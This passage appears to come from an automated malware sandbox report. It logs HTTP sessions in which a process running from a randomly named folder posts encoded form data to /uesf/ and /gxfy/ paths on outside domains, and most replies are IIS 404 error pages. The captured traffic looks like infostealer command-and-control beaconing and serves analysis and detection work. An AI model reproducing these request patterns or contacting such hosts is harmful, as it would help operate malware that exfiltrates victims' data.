77 65 6f 58 42 46 64 64 68 33 72 72 45 4c 47 78 71 65 34 39 42 79 72 32 42 47 74 44 6c 48 55 42 46 6a 38 65 62 59 36 49 53 76 54 57 79 64 37 34 57 70 4a 4c 30 61 51 6e 57 48 69 41 3d Data Ascii: 76=+6hhgRl+aB29mjhK/FM82Ax+blOXoppOE9BQDhZYIAn6RmoDmGZDrr4u8mGujNkqKaMCppZ7oSWajHqlxm5nkKxqK23mhink9VcapKHakVle43VxaISAlZysrXOfFI0ZaMTjessdAJo7d3WZBXpGokDUpv+cLlXbZObBp7RqSBNweoXBFddh3rrELGxqe49Byr2BGtDlHUBFj8ebY6ISvTWyd74WpJL0aQnWHiA=
Sep 23, 2024 14:39:29.906673908 CEST	1236	IN	HTTP/1.1 404 Not Found Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Mon, 23 Sep 2024 12:39:29 GMT Connection: close Content-Length: 4953 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>IIS 10.0 Detailed Error - 404.0 - Not Found</title> <style type="text/css"> ... body{margin:0;font-size:.7em;font-family:Verdana,Arial,Helvetica,sans-serif;} code{margin:0;color:#006600;font-size:1.1em;font-weight:bold;} .config_source code{font-size:.8em;color:#000000;} pre{margin:0;font-size:1.4em;word-wrap:break-word;} ul,ol{margin:10px 0 10px 5px;} ul.first,ol.first{margin-top:5px;} fieldset{padding:0 15px 10px 15px;word-break:break-all;} .summary-container fieldset{padding-bottom:5px;margin-top:4px;} legend.no-expand-all{padding:2px 15px 4px 10px;margin:0 0 0 -12px;} legend{color:#333333;;margin:4px 0 8px -12px;_margin-top:0px; font-weight:bold;font-size:1em;} a:link,a:visited{color:#007EFF;font-weight:bold;} a:hover{text-decoration:none;} h1{font-size:2.4em;margin:0;color:#FFF;} h2{font-size:1.7em;margin:0 [TRUNCATED]
Sep 23, 2024 14:39:29.906691074 CEST	1236	IN	Data Raw: 72 3a 23 43 43 30 30 30 30 3b 7d 20 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e Data Ascii: r:#CC0000;} h3{font-size:1.4em;margin:10px 0 0 0;color:#CC0000;} h4{font-size:1.2em;margin:10px 0 5px 0; }#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS",Verdana,sans-serif; color:#FFF;background-color:#5
Sep 23, 2024 14:39:29.906694889 CEST	1236	IN	Data Raw: 3a 69 74 61 6c 69 63 3b 7d 20 0a 2e 63 6c 65 61 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 7d 20 0a 2e 70 72 65 66 65 72 72 65 64 7b 70 61 64 64 69 6e 67 3a 30 20 35 70 78 20 32 70 78 20 35 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 Data Ascii: :italic;} .clear{clear:both;} .preferred{padding:0 5px 2px 5px;font-weight:normal;background:#006633;color:#FFF;font-size:.8em;} --> </style> </head> <body> <div id="content"> <div class="content-container"> <h3>HTTP Error 404.0 -
Sep 23, 2024 14:39:29.906776905 CEST	1236	IN	Data Raw: 6d 61 74 69 6f 6e 3a 3c 2f 68 34 3e 20 0a 20 20 3c 64 69 76 20 69 64 3d 22 64 65 74 61 69 6c 73 2d 6c 65 66 74 22 3e 20 0a 20 20 20 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 22 30 22 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 22 30 22 20 63 65 6c 6c Data Ascii: mation:</h4> <div id="details-left"> <table border="0" cellpadding="0" cellspacing="0"> <tr class="alt"><th>Module</th><td>   IIS Web Core</td></tr> <tr><th>Notification</th><td>   MapRequestHandl
Sep 23, 2024 14:39:29.906783104 CEST	228	IN	Data Raw: 64 69 72 65 63 74 6f 72 79 20 61 6e 64 20 74 72 79 20 74 68 65 20 72 65 71 75 65 73 74 20 61 67 61 69 6e 2e 20 0a 20 20 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6f 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 66 77 6c 69 6e Data Ascii: directory and try the request again. <p><a href="https://go.microsoft.com/fwlink/?LinkID=62293&IIS70Error=404,0,0x80070002,17763">View more information »</a></p> </fieldset> </div> </div> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49743	62.149.128.40	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:39:31.799983025 CEST	1788	OUT	POST /uesf/ HTTP/1.1 Host: www.chalet-tofane.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.chalet-tofane.net Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1247 Connection: close Referer: http://www.chalet-tofane.net/uesf/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 2b 36 68 68 67 52 6c 2b 61 42 32 39 6d 6a 68 4b 2f 46 4d 38 32 41 78 2b 62 6c 4f 58 6f 70 70 4f 45 39 42 51 44 68 5a 59 49 41 76 36 57 55 51 44 6d 68 31 44 71 72 34 75 67 32 47 76 6a 4e 6b 72 4b 61 55 47 70 70 64 42 6f 51 75 61 6c 56 69 6c 67 6e 35 6e 74 4b 78 71 47 57 33 6e 38 79 6d 2b 39 56 4d 57 70 4b 58 61 6b 56 6c 65 34 79 5a 78 5a 5a 53 41 70 35 79 74 6a 33 4f 54 42 49 30 31 61 49 2f 64 65 73 67 6e 48 39 6b 37 64 58 47 5a 44 46 52 47 72 45 44 57 71 76 2b 2b 4c 6c 4c 45 5a 4f 48 4e 70 37 4d 50 53 42 31 77 4f 63 43 4c 65 66 4a 71 6b 4b 54 4c 43 6d 78 6d 57 4f 30 79 79 62 72 6e 41 39 6a 68 48 55 56 78 72 39 62 55 4d 36 56 33 7a 7a 75 6d 53 49 6f 68 6d 4d 61 54 5a 77 2f 6c 66 45 34 44 7a 63 45 4f 71 4b 6c 62 79 38 35 4c 4f 4e 61 4a 6d 49 41 54 69 54 6d 65 36 57 44 33 47 6d 52 71 39 59 74 71 53 43 59 35 45 71 46 32 42 31 41 31 51 35 52 78 48 4b 53 43 35 64 62 35 4d 54 37 6b 5a 64 6e 62 53 39 58 46 4b 42 48 6e 34 7a 4c 53 66 79 6f 6d 5a 6c 36 4b 64 35 33 74 79 75 49 62 41 79 34 78 67 50 34 [TRUNCATED] Data Ascii: 76=+6hhgRl+aB29mjhK/FM82Ax+blOXoppOE9BQDhZYIAv6WUQDmh1Dqr4ug2GvjNkrKaUGppdBoQualVilgn5ntKxqGW3n8ym+9VMWpKXakVle4yZxZZSAp5ytj3OTBI01aI/desgnH9k7dXGZDFRGrEDWqv++LlLEZOHNp7MPSB1wOcCLefJqkKTLCmxmWO0yybrnA9jhHUVxr9bUM6V3zzumSIohmMaTZw/lfE4DzcEOqKlby85LONaJmIATiTme6WD3GmRq9YtqSCY5EqF2B1A1Q5RxHKSC5db5MT7kZdnbS9XFKBHn4zLSfyomZl6Kd53tyuIbAy4xgP43dHykAHU6T0oM++L+Mavcx2uqQGubjSrcNyfJLgaJARapo/WQq+f64S55m8kLUCUOQ42PUNnk5kJzDy/Bwyel53n4hZYXwoFBeGhzRD+g3ICSptgoSucqzjFSIiQwQ8jjnvguLbXCKv0zdnq67p0Su1IQ7zHMMTBpMnnqPv7Bmrn5yQjmQK7rzSF4sIYGSSxsKMgGVIE+5BTD1IeGUSM0ygXG/OZ8vYQ23NwFFYuDg8ZSngcgaPbF4beUthzIb8mbmRE2YjiVJ1BauXuOSrkapLlamPgTZtklOTWDodifRsg+eASAnPojiFPUS2kSDY9zzbR9k88IbmHMGaVVNnCsIUNsbZSdCe7MOk7eUXnprkb0h8yPDPvjIEXM8i5tvmcYxLDQ83XM7hOtghYu5D88XkRoAhMXVdEXQonWgX8wpk7dMWC9xjz+WR2l9r7fGSA9h5p9eL+u9ybawH+1FiRlzuw3zF3ek2LjqUqJ2dYICOmGvGQtaVzof+NnJF0KV6OIvPVVqxgbwhIcB7Fle7ihw0DFjq+mssHT7d9TrDtvFN4gbTqFoIqxT+TOerCpI+ArAvlVz9sPmiBS0U6vG4QVcfhy3fu5vdc4ByhZO3sYpWxv18OjlY+jJlMwpN8zRndfmnvEk7hAO583YgdryVqA372f3roCOB4Nw [TRUNCATED]
Sep 23, 2024 14:39:32.458868027 CEST	1236	IN	HTTP/1.1 404 Not Found Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Mon, 23 Sep 2024 12:39:32 GMT Connection: close Content-Length: 4953 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>IIS 10.0 Detailed Error - 404.0 - Not Found</title> <style type="text/css"> ... body{margin:0;font-size:.7em;font-family:Verdana,Arial,Helvetica,sans-serif;} code{margin:0;color:#006600;font-size:1.1em;font-weight:bold;} .config_source code{font-size:.8em;color:#000000;} pre{margin:0;font-size:1.4em;word-wrap:break-word;} ul,ol{margin:10px 0 10px 5px;} ul.first,ol.first{margin-top:5px;} fieldset{padding:0 15px 10px 15px;word-break:break-all;} .summary-container fieldset{padding-bottom:5px;margin-top:4px;} legend.no-expand-all{padding:2px 15px 4px 10px;margin:0 0 0 -12px;} legend{color:#333333;;margin:4px 0 8px -12px;_margin-top:0px; font-weight:bold;font-size:1em;} a:link,a:visited{color:#007EFF;font-weight:bold;} a:hover{text-decoration:none;} h1{font-size:2.4em;margin:0;color:#FFF;} h2{font-size:1.7em;margin:0 [TRUNCATED]
Sep 23, 2024 14:39:32.458894968 CEST	1236	IN	Data Raw: 72 3a 23 43 43 30 30 30 30 3b 7d 20 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e Data Ascii: r:#CC0000;} h3{font-size:1.4em;margin:10px 0 0 0;color:#CC0000;} h4{font-size:1.2em;margin:10px 0 5px 0; }#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS",Verdana,sans-serif; color:#FFF;background-color:#5
Sep 23, 2024 14:39:32.458914042 CEST	448	IN	Data Raw: 3a 69 74 61 6c 69 63 3b 7d 20 0a 2e 63 6c 65 61 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 7d 20 0a 2e 70 72 65 66 65 72 72 65 64 7b 70 61 64 64 69 6e 67 3a 30 20 35 70 78 20 32 70 78 20 35 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 Data Ascii: :italic;} .clear{clear:both;} .preferred{padding:0 5px 2px 5px;font-weight:normal;background:#006633;color:#FFF;font-size:.8em;} --> </style> </head> <body> <div id="content"> <div class="content-container"> <h3>HTTP Error 404.0 -
Sep 23, 2024 14:39:32.458934069 CEST	1236	IN	Data Raw: 65 73 3a 3c 2f 68 34 3e 20 0a 20 20 3c 75 6c 3e 20 09 3c 6c 69 3e 54 68 65 20 64 69 72 65 63 74 6f 72 79 20 6f 72 20 66 69 6c 65 20 73 70 65 63 69 66 69 65 64 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 20 6f 6e 20 74 68 65 20 57 65 62 20 73 65 Data Ascii: es:</h4> <ul> <li>The directory or file specified does not exist on the Web server.</li> <li>The URL contains a typographical error.</li> <li>A custom filter or module, such as URLScan, restricts access to the file.</li> </ul> </fields
Sep 23, 2024 14:39:32.458947897 CEST	224	IN	Data Raw: 64 65 74 61 69 6c 73 2d 72 69 67 68 74 22 3e 20 0a 20 20 20 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 22 30 22 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 22 30 22 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 22 30 22 3e 20 0a 20 20 20 20 3c 74 72 20 63 6c Data Ascii: details-right"> <table border="0" cellpadding="0" cellspacing="0"> <tr class="alt"><th>Requested URL</th><td>   http://www.chalet-tofane.net:80/uesf/</td></tr> <tr><th>Physical Path</th><td>&nbsp
Sep 23, 2024 14:39:32.458952904 CEST	792	IN	Data Raw: 3b 26 6e 62 73 70 3b 26 6e 62 73 70 3b 44 3a 5c 69 6e 65 74 70 75 62 5c 77 77 77 72 6f 6f 74 5c 75 65 73 66 5c 3c 2f 74 64 3e 3c 2f 74 72 3e 20 0a 20 20 20 20 3c 74 72 20 63 6c 61 73 73 3d 22 61 6c 74 22 3e 3c 74 68 3e 4c 6f 67 6f 6e 20 4d 65 74 Data Ascii: ;  D:\inetpub\wwwroot\uesf\</td></tr> <tr class="alt"><th>Logon Method</th><td>   Anonymous</td></tr> <tr><th>Logon User</th><td>   Anonymous</td></tr> <tr class="alt"><th>Request Tracing

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49744	62.149.128.40	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:39:34.409079075 CEST	482	OUT	GET /uesf/?76=z4JBjkhdawOvrgQ3/n9w4VhuG3+mvNpQWeVdJRkYJDu2YFtbuhkNmpkohWu/kto2VaQ1uMJYrSrWzkHi22xejudxEXfvpm+SoyIUt5G98Vt9xyNVSrHPgcfLvBC9CdBqRcbgarcrONxp&mtJD_=fvdlJ2L HTTP/1.1 Host: www.chalet-tofane.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Sep 23, 2024 14:39:35.074392080 CEST	1236	IN	HTTP/1.1 404 Not Found Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Mon, 23 Sep 2024 12:39:34 GMT Connection: close Content-Length: 5115 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>IIS 10.0 Detailed Error - 404.0 - Not Found</title> <style type="text/css"> ... body{margin:0;font-size:.7em;font-family:Verdana,Arial,Helvetica,sans-serif;} code{margin:0;color:#006600;font-size:1.1em;font-weight:bold;} .config_source code{font-size:.8em;color:#000000;} pre{margin:0;font-size:1.4em;word-wrap:break-word;} ul,ol{margin:10px 0 10px 5px;} ul.first,ol.first{margin-top:5px;} fieldset{padding:0 15px 10px 15px;word-break:break-all;} .summary-container fieldset{padding-bottom:5px;margin-top:4px;} legend.no-expand-all{padding:2px 15px 4px 10px;margin:0 0 0 -12px;} legend{color:#333333;;margin:4px 0 8px -12px;_margin-top:0px; font-weight:bold;font-size:1em;} a:link,a:visited{color:#007EFF;font-weight:bold;} a:hover{text-decoration:none;} h1{font-size:2.4em;margin:0;color:#FFF;} h2{font-size:1.7em;margin:0 [TRUNCATED]
Sep 23, 2024 14:39:35.074445009 CEST	224	IN	Data Raw: 72 3a 23 43 43 30 30 30 30 3b 7d 20 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e Data Ascii: r:#CC0000;} h3{font-size:1.4em;margin:10px 0 0 0;color:#CC0000;} h4{font-size:1.2em;margin:10px 0 5px 0; }#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS",Verdana,sans-serif; color:#FFF;
Sep 23, 2024 14:39:35.074450016 CEST	1236	IN	Data Raw: 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 43 38 37 42 32 3b 20 0a 7d 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 20 0a 2e 73 75 6d 6d 61 72 79 Data Ascii: background-color:#5C87B2; }#content{margin:0 0 0 2%;position:relative;} .summary-container,.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;} .content-container p{margin:0 0 10px 0; }#details-left{
Sep 23, 2024 14:39:35.074466944 CEST	1236	IN	Data Raw: 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 33 3e 20 0a 20 20 3c 68 34 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 68 61 73 20 62 65 65 Data Ascii: >HTTP Error 404.0 - Not Found</h3> <h4>The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.</h4> </div> <div class="content-container"> <fieldset><h4>Most likely causes:</h4> <ul> <
Sep 23, 2024 14:39:35.074480057 CEST	1236	IN	Data Raw: 62 73 70 3b 4d 61 70 52 65 71 75 65 73 74 48 61 6e 64 6c 65 72 3c 2f 74 64 3e 3c 2f 74 72 3e 20 0a 20 20 20 20 3c 74 72 20 63 6c 61 73 73 3d 22 61 6c 74 22 3e 3c 74 68 3e 48 61 6e 64 6c 65 72 3c 2f 74 68 3e 3c 74 64 3e 26 6e 62 73 70 3b 26 6e 62 Data Ascii: bsp;MapRequestHandler</td></tr> <tr class="alt"><th>Handler</th><td>   StaticFile</td></tr> <tr><th>Error Code</th><td>   0x80070002</td></tr> </table> </div> <div id="details-right">
Sep 23, 2024 14:39:35.074487925 CEST	166	IN	Data Raw: 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 66 77 6c 69 6e 6b 2f 3f 4c 69 6e 6b 49 44 3d 36 32 32 39 33 26 61 6d 70 3b 49 49 53 37 30 45 72 72 6f 72 3d 34 30 34 2c 30 2c 30 78 38 30 30 37 30 30 30 32 2c 31 37 37 36 33 22 3e 56 69 65 77 20 6d 6f Data Ascii: .microsoft.com/fwlink/?LinkID=62293&IIS70Error=404,0,0x80070002,17763">View more information »</a></p> </fieldset> </div> </div> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49745	3.33.130.190	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:39:40.142749071 CEST	746	OUT	POST /gxfy/ HTTP/1.1 Host: www.greekhause.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.greekhause.org Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 215 Connection: close Referer: http://www.greekhause.org/gxfy/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 50 4b 67 36 6b 58 33 69 4e 6a 35 2b 2b 31 64 49 57 6d 32 45 43 31 4a 41 6f 73 57 46 33 4d 51 69 44 4d 42 6f 33 57 4d 37 5a 62 43 4e 76 6b 62 4d 6b 57 69 49 33 31 30 66 6e 2f 44 79 4c 61 66 67 39 6e 67 36 6a 63 51 53 56 4a 4b 35 61 4e 66 56 61 6d 53 65 36 58 39 6e 68 37 34 75 69 2b 48 72 39 63 6b 52 79 2b 33 4f 47 31 34 53 4a 50 42 51 62 50 47 62 77 66 63 4c 32 50 56 2b 4c 7a 37 31 34 61 6a 44 62 38 65 32 57 57 4a 74 45 59 30 2f 72 67 77 52 71 44 34 7a 7a 42 53 68 2f 44 58 73 54 2f 31 62 4b 65 51 59 41 57 75 59 51 51 44 42 70 46 41 34 49 39 31 6b 4a 41 71 61 6c 4a 48 46 70 37 74 35 36 59 30 6d 6e 49 53 45 56 59 67 5a 66 51 3d 3d Data Ascii: 76=PKg6kX3iNj5++1dIWm2EC1JAosWF3MQiDMBo3WM7ZbCNvkbMkWiI310fn/DyLafg9ng6jcQSVJK5aNfVamSe6X9nh74ui+Hr9ckRy+3OG14SJPBQbPGbwfcL2PV+Lz714ajDb8e2WWJtEY0/rgwRqD4zzBSh/DXsT/1bKeQYAWuYQQDBpFA4I91kJAqalJHFp7t56Y0mnISEVYgZfQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49746	3.33.130.190	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:39:42.692054987 CEST	766	OUT	POST /gxfy/ HTTP/1.1 Host: www.greekhause.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.greekhause.org Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 235 Connection: close Referer: http://www.greekhause.org/gxfy/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 50 4b 67 36 6b 58 33 69 4e 6a 35 2b 2f 55 74 49 55 46 75 45 54 56 4a 44 6b 4d 57 46 2b 73 51 63 44 4d 64 6f 33 58 4a 67 5a 4a 6d 4e 32 42 2f 4d 6c 53 2b 49 30 31 30 66 73 66 44 33 49 71 66 52 39 6e 6b 79 6a 5a 6f 53 56 4a 32 35 61 4a 62 56 5a 52 6d 52 6f 58 39 66 70 62 34 2f 74 65 48 72 39 63 6b 52 79 2b 7a 30 47 31 41 53 4a 2f 78 51 55 4f 48 4e 35 2f 63 49 33 50 56 2b 47 54 36 79 34 61 6a 71 62 35 47 4d 57 55 78 74 45 59 45 2f 72 31 4d 57 68 44 34 31 75 52 54 65 76 54 47 33 62 76 64 54 4e 73 41 47 47 6d 6d 5a 52 6d 65 6a 7a 6e 4d 55 57 73 4e 66 4e 43 4f 73 79 76 61 77 72 36 70 68 33 36 41 48 34 2f 33 75 59 4b 42 64 4a 67 76 42 70 6d 35 46 75 45 50 54 70 51 59 6a 75 52 65 50 4c 6e 34 3d Data Ascii: 76=PKg6kX3iNj5+/UtIUFuETVJDkMWF+sQcDMdo3XJgZJmN2B/MlS+I010fsfD3IqfR9nkyjZoSVJ25aJbVZRmRoX9fpb4/teHr9ckRy+z0G1ASJ/xQUOHN5/cI3PV+GT6y4ajqb5GMWUxtEYE/r1MWhD41uRTevTG3bvdTNsAGGmmZRmejznMUWsNfNCOsyvawr6ph36AH4/3uYKBdJgvBpm5FuEPTpQYjuRePLn4=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
